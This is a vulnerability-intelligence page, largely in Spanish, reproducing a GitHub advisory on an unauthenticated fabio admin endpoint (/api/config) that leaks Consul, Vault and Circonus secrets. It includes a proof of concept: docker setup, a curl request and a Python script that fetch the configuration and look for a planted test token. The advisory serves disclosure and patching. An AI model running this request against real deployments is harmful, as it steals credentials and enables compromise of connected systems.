llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/fabiolb/fabio

GHSA-H66F-G4VC-VJ55

Unauthenticated Runtime Configuration Disclosure via Admin API `/api/config` in fabio

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.5
Alta
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche el mismo día de la divulgación
Exposición73 dDesde la divulgación, 8 sept 2026, 9:06 p. m.
Detección70 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Saqué la lupa: aquí hay algo que investigar.Si el fabricante actualiza el aviso, vuelve a mirar.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Parche v1.8.0
Monitoreo
Detectada +1
9 sept 26
18 nov 26
21 nov 26
9 sept 26
27 sept 26
15 oct 26
3 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-H66F-G4VC-VJ55 divulgada · CVSS 7.5 (GitHub)
Remediación Parche v1.8.0 github.com/fabiolb/fabio · 0 d desde divulgación
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Unauthenticated Runtime Configuration Disclosure via Admin API `/api/config` in fabio

Summary

fabio's built-in admin API exposes an endpoint, `GET /api/config`, that returns the entire in-memory runtime configuration object as JSON, with no authentication and no field-level redaction. The admin listener binds to all interfaces (`:9998`) by default, and `/api/config` is registered outside the `ro`/`rw` access-control switch that governs the rest of the admin API, so it is reachable regardless of the `ui.access` setting. Because the `config.Config` struct holds operator-supplied secrets (Consul ACL token, Vault fetch token, Circonus API key, Circonus submission URL) in plain exported string fields with no `json:"-"` tag or custom marshaler, any network client that can reach the admin port can retrieve these secrets with a single unauthenticated GET request. This is a high-severity information-disclosure vulnerability (CVSS 3.1 base score 7.5) that can lead to full compromise of downstream systems (service registry, secrets backend, monitoring) if any of those integrations are configured with a non-empty token/key.

Details

Root cause — no authentication and no redaction on `/api/config`:

  • `config/default.go:21` — the default admin listener address is `:9998`, i.e. bound to all interfaces and enabled out of the box.
  • `config/default.go:105` — the default `UI.Access` mode is `"rw"` (also insecure by default), but this setting is irrelevant to this finding because of the next point.
  • `admin/server.go:35-67` — routes such as `/api/paths` and `/api/manual` are registered inside a switch on the configured access mode (`ro`/`rw`), which is how fabio normally gates write/administrative operations. `/api/config` (registered at `admin/server.go:67`) is registered outside that switch, so it is always mounted and reachable with no authentication check, independent of `ui.access`.
  • `admin/api/config.go:9-10` — the handler is trivial:
  • `admin/api/api.go:16,18` — `writeJSON` serializes the object directly via `json.MarshalIndent` / `json.Marshal`. There is no `MarshalJSON` override anywhere on `config.Config` or its nested types, and no field carries a `json:"-"` tag to suppress serialization.
  • The following fields are plain exported strings nested inside `config.Config` and are therefore serialized verbatim in the response:
  • `config/config.go:33` — `CertSource.VaultFetchToken`
  • `config/config.go:112` — `Circonus.APIKey`
  • `config/config.go:117` — `Circonus.SubmissionURL`
  • `config/config.go:170` — `Consul.Token`

These are not values an operator inspects on their own machine in a trusted context — they are read back by any client that can open a TCP connection to the admin port, which fabio binds to all interfaces by default. Consul/Vault/Circonus integration is a standard, documented fabio deployment pattern, so a deployment with one of these tokens configured is not an edge case.

Data flow (source → sink):
1. `config/default.go:21` — admin listener defaults to `:9998` on all interfaces.
2. `admin/server.go:67` — `/api/config` is unconditionally registered, outside the `ro`/`rw` access-control switch.
3. `admin/api/config.go:10` — `ConfigHandler.ServeHTTP` passes `h.Config` (the full runtime config) directly to `writeJSON` with no auth check or filtering.
4. `admin/api/api.go:16,18` — `json.MarshalIndent`/`json.Marshal` serializes the entire struct, including nested secret fields.
5. `config/config.go:33,112,117,170` — `VaultFetchToken`, `Circonus.APIKey`, `Circonus.SubmissionURL`, `Consul.Token` are exported plain-string fields with no redaction, so they appear in the response body.

This was confirmed by static analysis (Phase 1) and reproduced against a live, unmodified build of the target commit (Phase 2): a plain unauthenticated `GET /api/config` returned HTTP 200 with the operator-configured Consul ACL token in the response body, while a control run with `ui.access=ro` confirmed that write endpoints (e.g. `/api/manual`) are correctly blocked (HTTP 403) but `/api/config` still returns the secret unauthenticated (HTTP 200), proving the endpoint sits outside the existing access-control mechanism entirely.

PoC

Environment: local clone of `fabiolb/fabio` at commit `da9f26202b289e602c2e2e854778ec8ec7357f8a` (~v1.7.3), built unmodified into a Docker image.

1. Build the target image from the unmodified repo (build context = repo root):

docker build -f vuln-002/Dockerfile -t fabio-vuln002:poc repo/

The `Dockerfile` compiles `fabio` from the checked-out source with stock defaults (`config/default.go` untouched) — no source patch is applied.

2. Start a Consul dev agent and fabio, configured only with an operator-supplied secret token flag (no custom admin-auth configuration is added):

docker network create fabio-vuln002-net

docker run -d --rm --name consul-vuln002 \
  --network fabio-vuln002-net \
  hashicorp/consul:1.20 consul agent -dev -client=0.0.0.0

docker run -d --rm --name fabio-vuln002-poc \
  --network fabio-vuln002-net \
  -p 127.0.0.1:9998:9998 \
  fabio-vuln002:poc \
  -registry.consul.addr=consul-vuln002:8500 \
  -registry.consul.token=SUPER_SECRET_CONSUL_ACL_TOKEN_1337

3. Send an unauthenticated request and observe the secret in the response:

curl -s 'http://127.0.0.1:9998/api/config' | grep -E 'SUPER_SECRET_CONSUL_ACL_TOKEN_1337'

or run the provided script:

python3 vuln-002/poc.py

Observed result: `GET http://127.0.0.1:9998/api/config` returns `HTTP 200` and a JSON body containing:

..."Consul":{"Addr":"consul-vuln002:8500","Scheme":"http","Token":"SUPER_SECRET_CONSUL_ACL_TOKEN_1337","KVPath":"/fabio/c...

No `Authorization` header, cookie, or credential of any kind was sent.

Control check (confirms the endpoint bypasses fabio's existing access control): starting a separate container with `-ui.access=ro` shows `/api/manual` correctly rejected with `HTTP 403`, while `/api/config` still returns `HTTP 200` with the same secret token exposed — demonstrating that `/api/config` is unconditionally reachable regardless of the configured access mode.

Container logs confirm the admin API is running with `Admin server access mode "rw"` and `Admin server listening on ":9998"` during the test, and the source repository was not modified at any point.

Impact

This is an unauthenticated information-disclosure vulnerability (CWE-200). Any actor able to reach the admin port (`:9998` by default, bound to all interfaces) can retrieve fabio's complete runtime configuration without credentials, including:
- Consul registry ACL token (`Registry.Consul.Token`)
- Vault certificate-fetch token (`Listen[].CertSource.VaultFetchToken`)
- Circonus monitoring API key and submission URL (`Metrics.Circonus.APIKey`, `Metrics.Circonus.SubmissionURL`)

Leakage of these values can lead to full compromise of the associated downstream systems — e.g. an attacker with the Consul ACL token could read/modify service registry data (subject to the token's ACL scope), an attacker with the Vault token could fetch TLS material, and a leaked Circonus API key could allow tampering with monitoring data. Confidentiality impact is High; there is no direct integrity or availability impact since the endpoint is read-only. Any organization running fabio with the admin port reachable from an untrusted network (which is the out-of-the-box default) and with any of these integrations configured is impacted.

Reproduction artifacts
`Dockerfile`
# VULN-002 PoC image for fabiolb/fabio
#
# Builds the fabio binary directly from the unmodified local clone of the
# target repository (commit da9f26202b289e602c2e2e854778ec8ec7357f8a) and
# runs it with only an operator-supplied Consul ACL token flag, to prove
# that the vendor-shipped default configuration exposes the runtime
# configuration -- including that secret token -- through an
# unauthenticated admin API endpoint (GET /api/config).
#
# Build context MUST be the cloned repository directory, e.g.:
#   docker build -f vuln-002/Dockerfile -t fabio-vuln002:poc repo/
#
# NOTE: no source file in the repo is modified for this build. This
# Dockerfile only compiles the code exactly as checked out.

FROM golang:1.26-alpine AS build

RUN apk add --no-cache git ca-certificates

WORKDIR /src
COPY . .

# Build fabio with its stock defaults (config/default.go untouched).
RUN CGO_ENABLED=0 GOOS=linux go build -trimpath -ldflags "-s -w" -o /out/fabio .

FROM alpine:3.20
RUN apk add --no-cache ca-certificates
COPY --from=build /out/fabio /usr/bin/fabio

# Expose the default admin UI/API port (9998) and proxy port (9999).
EXPOSE 9998 9999

# Intentionally started with NO custom config file -- only CLI flags that an
# operator would realistically pass to configure a Consul backend, i.e.
# exactly the out-of-the-box defaults defined in config/default.go plus the
# minimal flags needed to set a secret token:
#   UIListenerValue = ":9998"  (binds all interfaces, always registers /api/config)
#   UI.Access        = "rw"    (default, irrelevant to /api/config reachability)
#   Registry.Backend = "consul"
ENTRYPOINT ["/usr/bin/fabio"]
`poc.py`
#!/usr/bin/env python3
"""
VULN-002 PoC: Unauthenticated Admin API Exposes Runtime Configuration (Secrets)
Target: fabiolb/fabio (repo HEAD da9f26202b289e602c2e2e854778ec8ec7357f8a, ~1.7.3)
CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)

What this proves:
  fabio, started only with an operator-supplied Consul ACL token flag
  (-registry.consul.token=...) and otherwise vendor-shipped defaults from
  config/default.go, exposes an admin API on 0.0.0.0:9998 that serves the
  ENTIRE runtime configuration -- including that secret token -- via a
  plain unauthenticated GET request to /api/config. No credentials,
  cookies, or Authorization header are sent. The endpoint is registered
  outside the ro/rw access switch in admin/server.go, so it is reachable
  regardless of the (also insecure-by-default) UI.Access setting.

This script only talks to 127.0.0.1 (published container ports). It does
not attack any live/external service, does not modify the target
repository's source code, and does not perform any destructive action --
it just proves the unauthenticated read/disclosure primitive end to end.

Usage:
  python3 poc.py
"""

import sys
import urllib.error
import urllib.request

FABIO_ADMIN_URL = "http://127.0.0.1:9998"
CONSUL_TOKEN_MARKER = "SUPER_SECRET_CONSUL_ACL_TOKEN_1337"


def http(method, url, headers=None, timeout=10):
    req = urllib.request.Request(url, method=method, headers=headers or {})
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, dict(resp.getheaders()), resp.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read().decode(errors="replace")


def step(msg):
    print(f"\n[*] {msg}")


def main():
    step("Step 0: sanity check -- confirm the admin port is reachable")
    status, _, body = http("GET", f"{FABIO_ADMIN_URL}/api/version")
    print(f"    GET {FABIO_ADMIN_URL}/api/version -> HTTP {status}, body={body[:120]!r}")
    if status != 200:
        print(f"    [FAIL] Admin API is not reachable (HTTP {status}). Is the container running?")
        sys.exit(2)

    step("Step 1: send an UNAUTHENTICATED GET to the admin config API (/api/config)")
    print(f"    GET {FABIO_ADMIN_URL}/api/config")
    print("    (no Authorization header, no cookie, no credentials of any kind)")
    status, headers, body = http("GET", f"{FABIO_ADMIN_URL}/api/config")
    print(f"    -> HTTP {status}")
    print(f"    Content-Type: {headers.get('Content-Type')}")
    print(f"    Response length: {len(body)} bytes")

    if status != 200:
        print(f"    [FAIL] Admin API did not return the config (HTTP {status}).")
        sys.exit(1)

    step("Step 2: check whether the response leaks the operator-configured Consul ACL token")
    if CONSUL_TOKEN_MARKER in body:
        idx = body.find(CONSUL_TOKEN_MARKER)
        snippet = body[max(0, idx - 60):idx + len(CONSUL_TOKEN_MARKER) + 20]
        print(f"    [OK] Secret token found in unauthenticated response.")
        print(f"    Snippet: ...{snippet}...")
        print("\n[PASS] Unauthenticated GET /api/config disclosed the runtime configuration,")
        print(f"[PASS] including the secret Consul ACL token {CONSUL_TOKEN_MARKER!r}.")
        sys.exit(0)
    else:
        print("    [FAIL] Secret token marker was not found in the response body.")
        print(f"    Body (truncated): {body[:500]!r}")
        sys.exit(1)


if __name__ == "__main__":
    main()

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:N
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
10.0/ 10Muy alto
Vector 10.0 (muy fácil) · sin evidencia de explotación.
Versiones

Versiones afectadas

1.7.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/fabiolb/fabio
Corregida v1.8.0 0 d v1.8.0 no afectada
Versiones corregidasv1.8.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/fabiolb/fabio/security/advisories/GHSA-h66f-g4vc-vj55

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.